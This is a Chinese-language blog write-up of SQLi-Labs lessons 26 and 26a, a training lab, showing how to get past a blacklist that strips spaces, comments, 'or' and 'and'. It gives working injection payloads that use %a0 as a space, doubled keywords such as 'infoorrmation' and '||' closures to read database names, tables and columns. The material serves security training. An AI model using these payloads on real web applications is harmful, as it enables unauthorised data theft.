SQLi Labs Lesson26 & Lesson26a

GET - Error based - All your SPACES and COMMENTS belong to us


首先进入欢迎界面:

本节标题是 所有的空格和注释都没有卵用了。

根据上节内容,猜测应该是将空格和注释符号替换为空串。


实际测试:

构造 ?id=1


结果如图所示:

构造 ?id=1'

在$id后多添加了一个单引号导致,闭合出现了问题。

后台SQL语句应该为:

select ... from table where id = '$id' limit 0,1

得到了后台SQL结构:

继续构造:

?id=1' or 1='1%23

错误回显如图所示:

提示信息如图所示:

发现:

‘or’,空格,‘#’都被过滤掉了

进一步测试后发现:‘and’,‘/’,‘\’,‘*’,‘-’都被注释掉了。

后台源码如下:

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

有关正则表达式,请参阅: http://deerchao.net/tutorials/regex/regex.htm

那么如何绕过这个黑名单函数呢?

工具Sqlmap下tamper文件夹中有space2mysqlblack.py

其中利用如何绕过空格的字符:

# ASCII table:

#   TAB     09      horizontal TAB

#   LF      0A      new line

#   FF      0C      new page

#   CR      0D      carriage return

#   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)

#    -        A0       -                           (MySQL only)

全部测试之后发现,一个都不能利用......

这是为什么?

因为我将MySQL中字符集改为UTF-8了。


MySQL默认字符集下,测试后发现可以利用'%a0'作为空格:

?id=0'union%a0select%a01,2,3||'1

结果如图所示:



获取user, database:

?id=0'union%a0select%a01,concat_ws('~',user(),database()),3||'1


获取表名:

?id=0'union%a0select%a01,(select%a0table_name%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0limit%a00,1) ,3||'1


emails表的字段名:

?id=0'union%a0select%a01,(select%a0column_name%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=database()%a0aandnd%a0table_name='emails'%a0limit%a00,1) ,3||'1


?id=0'union%a0select%a01,(select%a0column_name%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=database()%a0aandnd%a0table_name='emails'%a0limit%a01,1) ,3||'1


emails表内容:




但是,上面提到过,如果将MySQL字符集改为UTF-8后,‘%a0'代替空格的技巧将无法利用。


Lesson - 26a

GET - Blind Based - All your SPACES & COMMENTS Belong to us - String - Single quotes Parenthesis

本节为盲注,无错误回显。


构造?id=1,结果如图所示:



构造?id=1",结果如图所示:


后台SQL语句不可能为

$id = ' " '.$id.' " ';

select ... from table where id = $id

即,$id不可能被两个双引号包括。


构造?id=1',结果如图所示:


构造 ?id=1')||('1


后台SQL结构:

select ... from table where id= ('$id') ...


查看源码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

证实

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值